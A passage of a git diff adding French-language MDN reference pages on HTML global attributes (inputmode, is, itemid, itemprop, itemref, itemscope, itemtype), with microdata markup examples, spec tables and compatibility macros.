+ tabindex est uniquement pris en charge pour les éléments {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}} et {{HTMLElement("textarea")}}.
+ accesskey est uniquement pris en charge pour {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("label")}}, {{HTMLElement("legend")}} et {{HTMLElement("textarea")}}.
+ title est pris en charge pour tous les éléments à l'exception de {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}} et {{HTMLElement("title")}}.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes")}}

+ +

Voir aussi

+ +
    +
  • Les interfaces {{domxref("Element")}} et {{domxref("GlobalEventHandlers")}} qui permettent de manipuler la plupart des attributs globaux.
    • +
diff --git a/files/fr/web/html/global_attributes/inputmode/index.html b/files/fr/web/html/global_attributes/inputmode/index.html new file mode 100644 index 0000000000..2babf82909 --- /dev/null +++ b/files/fr/web/html/global_attributes/inputmode/index.html @@ -0,0 +1,65 @@ +--- +title: inputmode +slug: Web/HTML/Attributs_universels/inputmode +tags: + - Attribut + - Attribut universel + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/inputmode +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel inputmode est un attribut à valeur contrainte qui fournit une indication au navigateur quant au type de donnée qui peut être saisi par l'utilisateur lors de l'édition de l'élément ou de son contenu. Les valeurs autorisées sont les suivantes :

+ +
+
none
+
Aucun clavier virtuel ne doit être affiché. Cette valeur s'avère utile lorsque l'application ou le site web implémente son propre outil de saisie.
+
text
+
C'est du texte qui sera saisi et un clavier dans la locale de l'utilisateur pourra être affiché.
+
decimal
+
C'est un nombre décimal qui sera saisi. Le clavier affiché peut contenir des chiffres et le séparateur décimal de la locale de l'utilisateur. Attention, selon les appareils, le signe moins (-) peut ne pas être présent.
+
numeric
+
C'est un nombre entier qui sera saisi. Le clavier affiché peut contenir les chiffres de 0 à 9. Attention, selon les appareils, le signe moins (-) peut ne pas être présent.
+
tel
+
C'est un numéro de téléphone qui sera saisi. Le clavier affiché pourra être celui d'un téléphone avec les chiffres allant de 0 à 9, l'astérisque et le dièse. Pour les champs de formulaire où il faut saisir un numéro de téléphone, on utilisera plutôt <input type="tel">.
+
search
+
L'élément éditable sert à la recherche. Le clavier affiché sera optimisé pour une recherche (par exemple, la touche Entrée pourra être indiquée avec le mot-clé « Rechercher »).
+
email
+
C'est une adresse électronique qui sera saisie. Le clavier affiché pourra être optimisé pour la saisie d'adresses email (généralement, on aura le caractère @ et d'autres éléments). Pour les champs de formulaire où il faut saisir une adresse électronique, on utilisera plutôt <input type="email">.
+
url
+
C'est une URL qui sera saisie. Le clavier affiché pourra être optimisé pour la saisie d'URL. Ainsi, la touche pour la barre oblique pourra être plus accessible, le clavier pourra proposer un accès à l'historique des URL utilisées, etc. Pour les champs de formulaire où il faut saisir une URL, on utilisera plutôt <input type="url">.
+
+ +

Lorsque cet attribut n'est pas explicitement défini, sa valeur par défaut est "text", ce qui indique que c'est du texte qui sera saisi et qu'un clavier standard devrait être utilisé.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("HTML WHATWG", "interaction.html#input-modalities:-the-inputmode-attribute", "inputmode")}}{{Spec2("HTML WHATWG")}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.inputmode")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/is/index.html b/files/fr/web/html/global_attributes/is/index.html new file mode 100644 index 0000000000..e460ffc4a3 --- /dev/null +++ b/files/fr/web/html/global_attributes/is/index.html @@ -0,0 +1,67 @@ +--- +title: is +slug: Web/HTML/Attributs_universels/is +tags: + - Attribut universel + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/is +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut is est un attribut universel qui indique qu'un élément HTML standard devrait se comporter comme un élément natif personnalisé (custom element) défini (voir Manipuler les custom elements pour plus de détails).

+ +

Cet attribut peut uniquement être utilisé si l'élément personnalisé indiqué a été correctement défini dans le document courant et qu'il étend le type d'élément sur lequel il est appliqué.

+ +

Exemples

+ +

Cet exemple est tiré de l'exemple word-count-web-component (voir le résultat en live).

+ +
// On crée une classe pour l'élément
+class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // On appelle super() pour récupérer l'initialisation
+    // des classes parentes
+    super();
+
+    // Le contenu du constructeur, etc.
+    ...
+
+  }
+}
+
+// On définit le nouvel élément.
+customElements.define('word-count', WordCount, { extends: 'p' });
+ +
<p is="word-count"></p>
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "custom-elements.html#attr-is", "is")}}{{Spec2('HTML WHATWG')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.is")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/itemid/index.html b/files/fr/web/html/global_attributes/itemid/index.html new file mode 100644 index 0000000000..c592936a5d --- /dev/null +++ b/files/fr/web/html/global_attributes/itemid/index.html @@ -0,0 +1,116 @@ +--- +title: itemid +slug: Web/HTML/Attributs_universels/itemid +tags: + - Attribut + - Attribut universel + - HTML + - Micro-données + - Reference + - itemid +translation_of: Web/HTML/Global_attributes/itemid +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel itemid permet d'identifier un objet, au sens des microdonnées, de façon unique et globale. L'attribut itemid peut uniquement être défini sur les éléments qui ont un attribut {{htmlattrxref("itemscope")}} et un attribut {{htmlattrxref("itemtype")}}. De plus, un itemid ne peut pas être défini sur des éléments dont l'attribut itemscope possède un attribut itemtype qui définit un vocabulaire qui ne prend pas en charge les identifiants globaux tels que défini dans la spécification du vocabulaire.

+ +

La signification exacte d'un identifiant global est déterminée par la spécification du vocabulaire. C'est le rôle de cette spécification d'autoriser ou non la présence de plusieurs éléments avec le même identifiant (sur une ou plusieurs pages) et de définir les règles de gestion associées.

+ +

Syntaxe

+ +

Syntaxe formelle

+ +
itemid="URN"
+ +

Note : Selon la définition du WHATWG, un itemid doit être une URL. Dans l'exemple qui suit, on utilise plutôt une URN, plus appropriée pour définir un identifiant unique comme itemid. Cette incohérence reflète l'état actuellement incomplet de la spécification sur les microdonnées.

+ +

Exemple

+ +

HTML

+ +

Un élément qui décrit un livre :

+ +
<dl itemscope
+    itemtype="http://vocab.example.net/book"
+    itemid="urn:isbn:0-330-34032-8">
+ <dt>Title <dd itemprop="title">The Reality Dysfunction
+ <dt>Author <dd itemprop="author">Peter F. Hamilton
+ <dt>Publication date
+ <dd><time itemprop="pubdate" datetime="1996-01-26">26 January 1996</time> </dl>
+
+ +

Données structurées correspondantes

+ + + + + + + + + + + + + + + + + + + + + + + + +
itemscopeitemtype: itemid +
http://vocab.example.net/book: urn:isbn:0-330-34032-8
+
itemproptitleThe Reality Dysfunction
itempropauthor +
Peter F. Hamilton
+
itemproppubdate1996-01-26
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML Microdata', "#items", "itemid")}}{{Spec2('HTML Microdata')}} 
{{SpecName('HTML WHATWG', "microdata.html#attr-itemid", "itemid")}}{{Spec2('HTML WHATWG')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.itemid")}}

+ +

Voir aussi

+ +
    +
  • Les différents attributs universels
    • +
  • Les autres attributs universels relatifs aux microdonnées : +
      +
    • {{htmlattrxref("itemid")}}
      • +
    • {{htmlattrxref("itemprop")}}
      • +
    • {{htmlattrxref("itemref")}}
      • +
    • {{htmlattrxref("itemscope")}}
      • +
    • {{htmlattrxref("itemtype")}}
      • +
    +
    • +
diff --git a/files/fr/web/html/global_attributes/itemprop/index.html b/files/fr/web/html/global_attributes/itemprop/index.html new file mode 100644 index 0000000000..956054bb32 --- /dev/null +++ b/files/fr/web/html/global_attributes/itemprop/index.html @@ -0,0 +1,436 @@ +--- +title: itemprop +slug: Web/HTML/Attributs_universels/itemprop +tags: + - Attribut + - Attribut universel + - HTML + - Micro-données + - Microdata +translation_of: Web/HTML/Global_attributes/itemprop +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel itemprop est utilisé afin d'ajouter des propriétés à un objet. C'est un attribut universel et chaque élément HTML peut donc avoir un attribut itemprop qui permettra de former un couple de nom (la valeur de l'attribut) et de valeur (la valeur de l'élément). Chacune de ces paires constitue une propriété et un groupe de propriété forme un objet (item). Les valeurs des propriétés sont généralement des chaînes de caractères ou des URL et peuvent être associées à de nombreux éléments comme {{HTMLElement("audio")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("link")}}, {{HTMLElement("object")}}, {{HTMLElement("source")}} , {{HTMLElement("track")}} et {{HTMLElement("video")}}.

+ +

Un exemple simple

+ +

HTML

+ +
<div itemscope itemtype="http://schema.org/Movie">
+  <h1 itemprop="name">Avatar</h1>
+  <span>Director:
+    <span itemprop="director">James Cameron</span>
+    (born August 16, 1954)
+  </span>
+  <span itemprop="genre">Science fiction</span>
+  <a href="../movies/avatar-theatrical-trailer.html"
+    itemprop="trailer">Trailer</a>
+</div>
+ +

Structure de données

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 Objet
Nom pour itempropValeur pour itemprop
itempropnameAvatar
itempropdirectorJames Cameron
itempropgenreScience fiction
itemproptrailer../movies/avatar-theatrical-trailer.html
+ +

Propriétés

+ +

Les valeurs des propriétés sont généralement des chaînes de caractères ou des URL. Lorsque c'est une URL, on l'exprime grâce à l'élément {{HTMLElement("a")}} et avec son attribut href. Pour un élément {{HTMLElement("img")}}, on lira son attribut src, de même pour les autres éléments HTML qui font appel à d'autres ressources.

+ +

Trois propriétés dont les valeurs sont des chaînes simples

+ +
<div itemscope>
+ <p>My name is
+   <span itemprop="name">Neil</span>.
+ </p>
+ <p>My band is called
+   <span itemprop="band">Four Parts Water</span>.
+ </p>
+ <p>I am
+   <span itemprop="nationality">British</span>.
+ </p>
+</div>
+ +

Une propriété « image » dont la valeur est une URL

+ +
<div itemscope>
+ <img itemprop="image"
+  src="google-logo.png" alt="Google">
+</div>
+
+ +

Une propriété dont la valeur est un identifiant « machine »

+ +
<h1 itemscope>
+ <data itemprop="product-id"
+  value="9678AOU879">The Instigator 2000</data>
+</h1>
+ +

Lorsqu'une chaîne est décrite avec un format machine plutôt qu'un format « humain », on la propriété est exprimée avec la valeur de l'attribut value de l'élément {{HTMLElement("data")}} et c'est le contenu de l'élément qui fournira la valeur humainement compréhensible.

+ +

Un exemple de mesure

+ +
<div itemscope itemtype="http://schema.org/Product">
+ <span itemprop="name">
+   Panasonic White 60L Refrigerator
+ </span>
+ <img src="panasonic-fridge-60l-white.jpg" alt="">
+  <div itemprop="aggregateRating"
+       itemscope
+       itemtype="http://schema.org/AggregateRating">
+   <meter itemprop="ratingValue" min=0 value=3.5 max=5>
+     Rated 3.5/5
+   </meter>
+   (based on <span itemprop="reviewCount">11</span>
+   customer reviews)
+  </div>
+</div>
+ +

Pour les données numériques, on peut utiliser l'élément {{HTMLElement("meter")}} et la valeur de son attribut value.

+ +

Une propriété de date

+ +
<div itemscope>
+ I was born on
+ <time itemprop="birthday" datetime="2009-05-10">
+   May 10th 2009
+ </time>.
+</div>
+ +

Pour les valeurs temporelles, on utilisera les éléments {{HTMLElement("time")}} et son attribut datetime.

+ +

Imbrication de propriétés

+ +
<div itemscope>
+ <p>Name:
+   <span itemprop="name">Amanda</span>
+ </p>
+ <p>Band:
+   <span itemprop="band" itemscope>
+     <span itemprop="name">Jazz Band</span>
+    (<span itemprop="size">12</span> players)
+   </span>
+ </p>
+</div>
+ +

On peut avoir des imbrications de propriétés et utiliser l'attribut itemscope sur l'élément qui porte le groupe.

+ +

L'élément de plus haut niveau possède deux propriétés name et band. La valeur de name est Amanda et la valeur de band est un objet à part entière, composé de deux propriétés name et size. Le valeur pour name est Jazz Band et la valeur de size est 12. L'objet de plus haut niveau est un objet qui ne fait pas partie d'un autre objet.

+ +

Séparation des objets

+ +
<div itemscope id="amanda" itemref="a b"></div>
+<p id="a">Name: <span itemprop="name">Amanda</span></p>
+<div id="b" itemprop="band" itemscope itemref="c"></div>
+<div id="c">
+ <p>Band: <span itemprop="name">Jazz Band</span></p>
+ <p>Size: <span itemprop="size">12</span> players</p>
+</div>
+ +

On obtient le même résultat qu'avec l'exemple précédent. Le premier objet possède deux propriétés name (qui vaut Amanda) et band qui est défini avec un autre objet. Le deuxième objet possède deux propriétés name (qui vaut Jazz Band) et size (qui vaut 12).

+ +

Un objet avec plusieurs occurrences d'une propriété

+ +
<div itemscope>
+ <p>Flavors in my favorite ice cream:</p>
+ <ul>
+  <li itemprop="flavor">Lemon sorbet</li>
+  <li itemprop="flavor">Apricot sorbet</li>
+ </ul>
+</div>
+ +

Cet objet possède deux fois la même propriété flavor, qui prend deux valeurs Lemon sorbet et Apricot sorbet.

+ +

Deux propriétés avec la même valeur

+ +
<div itemscope>
+ <span itemprop="favorite-color favorite-fruit">
+  orange
+ </span>
+</div>
+ +

On peut définir deux propriétés au même endroit si elles prennent la même valeur.

+ +

Équivalence sémantique

+ +
<figure>
+ <img src="castle.jpeg">
+ <figcaption>
+  <span itemscope>
+    <span itemprop="name">The Castle</span>
+  </span>
+  (1986)
+ </figcaption>
+</figure>
+ +
<span itemscope>
+  <meta itemprop="name" content="The Castle">
+</span>
+<figure>
+ <img src="castle.jpeg">
+ <figcaption>The Castle (1986)</figcaption>
+</figure>
+ +

Ces deux exemples sont équivalents d'un point de vue sémantique. Tous les deux se composent d'un schéma et d'une légende et tous les deux possèdent un objet avec une propriété name qui vaut The Castle. Une différence subsiste : si l'utilisateur glisse-dépose l'élément, l'objet sera inclus dans les données. Dans les deux cas, l'image n'est pas associée à l'objet.

+ +

Les noms et les valeurs

+ +

Une propriété est un ensemble non-ordonné de composants uniques sensibles à la casse qui représentent les paires de noms/valeurs. Les valeur doit avoir au moins composant pour se rattacher à l'objet. Dans le tableau ci-après, chaque cellule correspond à un composant.

+ +

Exemples de noms

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 Objet
nom pour itempropvaleur pour itemprop
itempropcountryIreland
itempropOption2
itemprophttps://www.flickr.com/photos/nlireland/6992065114/Ring of Kerry
itempropimghttps://www.flickr.com/photos/nlireland/6992065114/
itempropwebsiteflickr
itemprop(token)(token)
+ +

Les composants sont des chaînes de caractères ou des URL. Un objet est appelé un objet typé si c'est une URL. Les chaînes ne peuvent pas contenir de point ou de deux points.

+ +
    +
  1. Si un objet est un objet typé, il doit être : +
      +
    1. Un nom de propriété autorisé par la spécification qui définit les types pertinents pour un objet ou
      2. +
    2. Une URL valide qui est une URL absolue qui définit un nom faisant partie de la spécification du vocabulaire ou
      3. +
    3. Une URL valide qui est une URL absolue utilisée comme un nom propriétaire ou
      4. +
    +
    2. +
  2. Si un objet n'est pas un objet typé, le nom doit être : +
      +
    1. Une chaîne qui ne contient pas de caractères "." (U+002E FULL STOP) ou ":" (U+003A COLON) et qui est utilisée comme un nom « propriétaire » pour la propriété (c'est-à-dire avec un nom qui n'est pas défini dans une spécification publique).
      2. +
    +
    3. +
+ +

Note :  Les caractères « : » sont interdits pour les valeurs qui ne sont pas des URL afin de pouvoir distinguer les URL du reste. Les valeurs avec les caractères « . » sont réservés pour de futurs ajouts et les blancs ne sont pas autorisés car les valeurs seraient analysées comme plusieurs valeurs distinctes.

+ +

Valeurs

+ +

La valeur d'une propriété est définie comme le premier cas qui correspond dans cette liste :

+ +
    +
  • Si l'élément possède un attribut itemscope : + +
      +
    • La valeur est l'objet créé par l'élément.
      • +
    +
    • +
  • Si l'élément est un élément meta : +
      +
    • La valeur est celle de l'attribut content s'il existe, la chaîne vide sinon.
      • +
    +
    • +
  • Si l'élément est audio, embed, iframe, img, source, track ou video : +
      +
    • La valeur est l'URL correspondant à l'analyse de l'attribut src relatif au nœeud du document ou la chaîne vide s'il n'y pas de tel attribut ou que la recomposition de l'URL échoue.
      • +
    +
    • +
  • Si l'élément est un élément a, area ou link : +
      +
    • La valeur est l'URL qui correspond à l'analyse de la valeur de l'attribut href relatif au nœud du document ou la chaîne vide s'il n'y pas de tel attribut ou que la recomposition de l'URL échoue.
      • +
    +
    • +
  • Si l'élément est un élément object : +
      +
    • La valeur est l'URL qui correspond à l'analyse de la valeur de l'attribut data relatif au nœud du document ou la chaîne vide s'il n'y pas de tel attribut ou que la recomposition de l'URL échoue.
      • +
    +
    • +
  • Si l'élément est un élément data : +
      +
    • La valeur est la valeur l'attribut value s'il est présent ou la chaîne vide sinon.
      • +
    +
    • +
  • Si l'élément est un élément meter : +
      +
    • La valeur est la valeur l'attribut value s'il est présent ou la chaîne vide sinon. +
        +
      +
      • +
    +
    • +
  • Si l'élément est un élément time : +
      +
    • La valeur de l'élément est la valeur de l'attribut datetime.
      • +
    +
    • +
+ +

Sinon :

+ +
    +
  • La valeur de l'élément est le contenu textuel de l'élément HTML (textContent).
    • +
+ +

Les éléments qui permettent d'utiliser des attributs URL pour des URL absolues sont : a, area, audio, embed, iframe, img, link, object, source, track et video.

+ +

Ordre des noms

+ +

L'ordre des noms n'a pas d'importance mais si une propriété possède plusieurs valeurs, l'ordre sera relatif pour cette propriété.

+ +

Exemples équivalents

+ +
<div itemscope>
+ <p itemprop="a">1</p>
+ <p itemprop="a">2</p>
+ <p itemprop="b">test</p>
+</div>
+ +
<div itemscope>
+ <p itemprop="b">test</p>
+ <p itemprop="a">1</p>
+ <p itemprop="a">2</p>
+</div>
+ +
<div itemscope>
+ <p itemprop="a">1</p>
+ <p itemprop="b">test</p>
+ <p itemprop="a">2</p>
+</div>
+ +
<div id="x">
+ <p itemprop="a">1</p>
+</div>
+<div itemscope itemref="x">
+ <p itemprop="b">test</p>
+ <p itemprop="a">2</p>
+</div>
+
+ +

Syntaxe

+ +

Syntaxe formelle

+ +
itemprop = "name", value
+ +

Exemples

+ +

HTML

+ +

Un exemple sur un livre qu'on décrit avec les différents attributs.

+ +
<dl itemscope
+    itemtype="http://vocab.example.net/book"
+    itemid="urn:isbn:0-330-34032-8">
+ <dt>Title <dd itemprop="title">The Reality Dysfunction
+ <dt>Author <dd itemprop="author">Peter F. Hamilton
+ <dt>Publication date
+ <dd>
+  <time itemprop="pubdate" datetime="1996-01-26">
+    26 January 1996
+  </time>
+</dl>
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML Microdata', "#dfn-attr-itemprop", "itemprop")}}{{Spec2('HTML Microdata')}} 
{{SpecName('HTML WHATWG', "microdata.html#names:-the-itemprop-attribute", "itemprop")}}{{Spec2('HTML WHATWG')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.itemprop")}}

+ +

Voir aussi

+ +
    +
  • Les différents attributs universels
    • +
  • Les autres attributs universels relatifs aux microdonnées : +
      +
    • {{htmlattrxref("itemid")}}
      • +
    • {{htmlattrxref("itemprop")}}
      • +
    • {{htmlattrxref("itemref")}}
      • +
    • {{htmlattrxref("itemscope")}}
      • +
    • {{htmlattrxref("itemtype")}}
      • +
    +
    • +
diff --git a/files/fr/web/html/global_attributes/itemref/index.html b/files/fr/web/html/global_attributes/itemref/index.html new file mode 100644 index 0000000000..894df9c87c --- /dev/null +++ b/files/fr/web/html/global_attributes/itemref/index.html @@ -0,0 +1,97 @@ +--- +title: itemref +slug: Web/HTML/Attributs_universels/itemref +tags: + - Attribut + - Attribut universel + - HTML + - Micro-données + - Microdata + - Reference +translation_of: Web/HTML/Global_attributes/itemref +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel itemref permet d'associer des propriétés à un objet via itemscope lorsque l'élement courant n'est pas un élément descendant. itemref fournit une liste d'identifiants d'éléments (à ne pas confondre avec itemid) dont des propriétés sont définies plus loin dans le document.

+ +

L'attribut itemref peut uniquement être défini sur des éléments pour lesquels un attribut itemscope a été défini.

+ +

Note : L'attribut itemref ne fait pas partie du modèle de données des micro-données. Il s'agit purement d'une construction syntaxique pour aider les auteurs à annoter une page où les données ne suivent pas une structure arborescente claire.

+ +

Syntaxe

+ +

Syntaxe formelle

+ +
itemref
+ +

Exemple

+ +

HTML

+ +
<div itemscope id="amanda" itemref="a b"></div>
+<p id="a">Name: <span itemprop="name">Amanda</span> </p>
+<div id="b" itemprop="band" itemscope itemref="c"></div>
+<div id="c">
+    <p>Band: <span itemprop="name">Jazz Band</span> </p>
+    <p>Size: <span itemprop="size">12</span> players</p>
+</div>
+ +

Structure de données correspondante

+ +

Au format JSON-LD :

+ +
{
+  "@id": "amanda",
+  "name": "Amanda",
+  "band": {
+    "@id": "b",
+    "name": "Jazz Band",
+    "size": 12
+  }
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML Microdata', "#dfn-itemref", "itemref")}}{{Spec2('HTML Microdata')}} 
{{SpecName('HTML WHATWG', "microdata.html#attr-itemref", "itemref")}}{{Spec2('HTML WHATWG')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.itemref")}}

+ +

Voir aussi

+ +
    +
  • Les différents attributs universels
    • +
  • Les autres attributs universels relatifs aux microdonnées : +
      +
    • {{htmlattrxref("itemid")}}
      • +
    • {{htmlattrxref("itemprop")}}
      • +
    • {{htmlattrxref("itemref")}}
      • +
    • {{htmlattrxref("itemscope")}}
      • +
    • {{htmlattrxref("itemtype")}}
      • +
    +
    • +
diff --git a/files/fr/web/html/global_attributes/itemscope/index.html b/files/fr/web/html/global_attributes/itemscope/index.html new file mode 100644 index 0000000000..5e76969620 --- /dev/null +++ b/files/fr/web/html/global_attributes/itemscope/index.html @@ -0,0 +1,228 @@ +--- +title: itemscope +slug: Web/HTML/Attributs_universels/itemscope +tags: + - Attribut + - Attribut universel + - HTML + - Micro-données + - Microdata + - Reference +translation_of: Web/HTML/Global_attributes/itemscope +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel itemscope fonctionne généralement avec l'attribut itemtype afin d' indiquer qu'un bloc HTML contient un objet donné. itemscope crée l'objet et définit la portée de l'itemtype associé. Il est possible d'associer un attribut itemscope à n'importe quel élément HTML.

+ +

Les identifiants rattachés à itemscope

+ +

Un élément qui possède un attribut itemscope permet de définir un nouvel élément qui sera un groupe de paires de noms/valeurs. Les éléments qui ont un attribut itemscope et un attribut itemtype peuvent également définir un attribut id (à ne pas confondre avec itemid) pour identifier de façon unique l'élément sur le Web.

+ +

Syntaxe

+ +

Syntaxe formelle

+ +
itemscope
+ +

Exemple

+ +

Dans cet exemple, on a trois attributs itemscopes. Ces trois itemscopes définissent les portées respectives des itemtypes correspondants qui sont : Recipe, AggregateRating et NutritionInformation.

+ +

HTML

+ +
<div itemscope itemtype="https://schema.org/Recipe">
+<h2 itemprop="name">Grandma's Holiday Apple Pie</h2>
+<img itemprop="image" src="https://c1.staticflickr.com/1/30/42759561_8631e2f905_n.jpg" width="50" height="50"/>
+<p>By <span itemprop="author" itemscope itemtype="https://schema.org/Person">
+<span itemprop="name">Carol Smith</p></span>
+</span>
+<p>Published: <time datetime="2009-11-05" itemprop="datePublished">
+November 5, 2009</p></time>
+<span itemprop="description">This is my grandmother's apple pie recipe. I like to add a dash of nutmeg.<br></span>
+ <span itemprop="aggregateRating" itemscope itemtype="https://schema.org/AggregateRating">
+ <span itemprop="ratingValue">4.0</span> stars based on <span itemprop="reviewCount">35</span> reviews<br></span>
+Prep time: <time datetime="PT30M" itemprop="prepTime">30 min<br></time>
+ Cook time: <time datetime="PT1H" itemprop="cookTime">1 hour<br></time>
+ Total time: <time datetime="PT1H30M" itemprop="totalTime">1 hour 30 min<br></time>
+ Yield: <span itemprop="recipeYield">1 9" pie (8 servings)<br></span>
+ <span itemprop="nutrition" itemscope itemtype="https://schema.org/NutritionInformation">
+ Serving size: <span itemprop="servingSize">1 medium slice<br></span>
+ Calories per serving: <span itemprop="calories">250 cal<br></span>
+ Fat per serving: <span itemprop="fatContent">12 g<br></span>
+</span>
+<p>Ingredients:<br>
+  <span itemprop="recipeIngredient">Thinly-sliced apples: 6 cups<br></span>
+  <span itemprop="recipeIngredient">White sugar: 3/4 cup<br></span>
+ ... </p>
+
+Directions: <br>
+  <div itemprop="recipeInstructions">
+    1. Cut and peel apples<br>
+    2. Mix sugar and cinnamon. Use additional sugar for tart apples. <br>
+    ...
+  </div>
+</div>
+ +

Structure des données

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
itemscopeitemtypeRecipe
itempropname:Grandma's Holiday Apple Pie
itempropimage: +
https://c1.staticflickr.com/1/30/42759561_8631e2f905_n.jpg
+
itempropdatePublished:2009-11-05
itempropdescription:This is my grandmother's apple pie recipe. I like to add a dash of nutmeg.
itempropprepTime:PT30M
itempropcookTime:PT1H
itemproptotalTime:PT1H30M
itemproprecipeYield:1 9" pie (8 servings)
itemproprecipeIngredient:Thinly-sliced apples: 6 cups
itemproprecipeIngredient:White sugar: 3/4 cup
itemproprecipeInstructions: +
1. Cut and peel apples 2. Mix sugar and cinnamon. Use additional sugar for tart apples .
+
itempropauthor [Person]:
itempropname:Carol Smith
itemscopeitemprop[itemtype]aggregateRating [AggregateRating]:
itempropratingValue:4.0
itempropreviewCount:35
itemscopeitemprop[itemtype]nutrition [NutritionInformation]:
itempropservingSize:1 medium slice
itempropcalories:250 cal
itempropfatContent:12 g
+ +
+

Note : Pour extraire des micro-données d'un document HTML, vous pouvez utiliser l'outil d'extraction de Google pour les micro-données. Vous pouvez par exemple utiliser le document HTML précédent.

+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML Microdata', "#dfn-itemscope", "itemscope")}}{{Spec2('HTML Microdata')}} 
{{SpecName('HTML WHATWG', "microdata.html#attr-itemscope", "itemscope")}}{{Spec2('HTML WHATWG')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.itemscope")}}

+ +

Voir aussi

+ +
    +
  • Les différents attributs universels
    • +
  • Les autres attributs universels relatifs aux microdonnées : +
      +
    • {{htmlattrxref("itemid")}}
      • +
    • {{htmlattrxref("itemprop")}}
      • +
    • {{htmlattrxref("itemref")}}
      • +
    • {{htmlattrxref("itemscope")}}
      • +
    • {{htmlattrxref("itemtype")}}
      • +
    +
    • +
diff --git a/files/fr/web/html/global_attributes/itemtype/index.html b/files/fr/web/html/global_attributes/itemtype/index.html new file mode 100644 index 0000000000..5d3ce08694 --- /dev/null +++ b/files/fr/web/html/global_attributes/itemtype/index.html @@ -0,0 +1,113 @@ +--- +title: itemtype +slug: Web/HTML/Attributs_universels/itemtype +tags: + - Attribut + - Attribut universel + - HTML + - Micro-données + - Microdata + - Référence(2) +translation_of: Web/HTML/Global_attributes/itemtype +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel itemtype définit l'URL du vocabulaire qui sera utilisé pour définir les propriétés des objets dans la structure de données. itemscope est utilisé afin de définir la portée, dans le document, où le vocabulaire défini sera actif.

+ +

L'attribut itemtype doit avoir une valeur qui est un ensemble non ordonné de fragments uniques, sensible à la casse. Chaque fragment doit être une URL absolue valide et tous les fragments participent à la définition du même vocabulaire. La valeur de l'attribut doit avoir au moins un fragment.

+ +

Les types d'objet doivent tous être définis dans des spécifications de vocabulaire (comme schema.org) et doivent tous être définis avec le même vocabulaire.

+ +

L'attribut itemtype peut uniquement être défini pour les éléments qui ont un attribut itemscope.

+ +

Google et les autres moteurs de recherche participent au vocabulaire défini par schema.org pour structurer les données. Ce vocabulaire définit un ensemble standard de types et de noms de propriétés. Par exemple MusicEvent indique un événement musical dont les propriétés startDate et location utilisées pour définir les détails du concert. Dans ce cas, l'URL http://schema.org/MusicEvent sera l'URL utilisée pour l'attribut itemtype et les propriétés startDate et location seront les propriétés utilisées, définies par http://schema.org/MusicEvent.

+ +
+

Note : Vous pourrez trouver plus d'informations sur l'attribut itemtype sur http://schema.org/Thing

+
+ +

Syntaxe

+ +

Syntaxe formelle

+ +
itemtype = URL
+ +

Exemple simple

+ +

HTML

+ +
<div itemscope itemtype="http://schema.org/Product">
+  <span itemprop="brand">ACME</span>
+  <span itemprop="name">Executive Anvil</span>
+</div>
+ +

Structure de données

+ + + + + + + + + + + + + + + + + + + + + + + +
itemscopeitemtypehttp://schema.org/Product
itempropnameExecutive Anvil
itempropbrand [Thing]
itempropnameACME
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML Microdata', "#dfn-itemtype", "itemtype")}}{{Spec2('HTML Microdata')}} 
{{SpecName('HTML WHATWG', "microdata.html#attr-itemtype", "itemprop")}}{{Spec2('HTML WHATWG')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.itemtype")}}

+ +

Voir aussi

+ +
    +
  • Les différents attributs universels
    • +
  • Les autres attributs universels relatifs aux microdonnées : +
      +
    • {{htmlattrxref("itemid")}}
      • +
    • {{htmlattrxref("itemprop")}}
      • +
    • {{htmlattrxref("itemref")}}
      • +
    • {{htmlattrxref("itemscope")}}
      • +
    • {{htmlattrxref("itemtype")}}
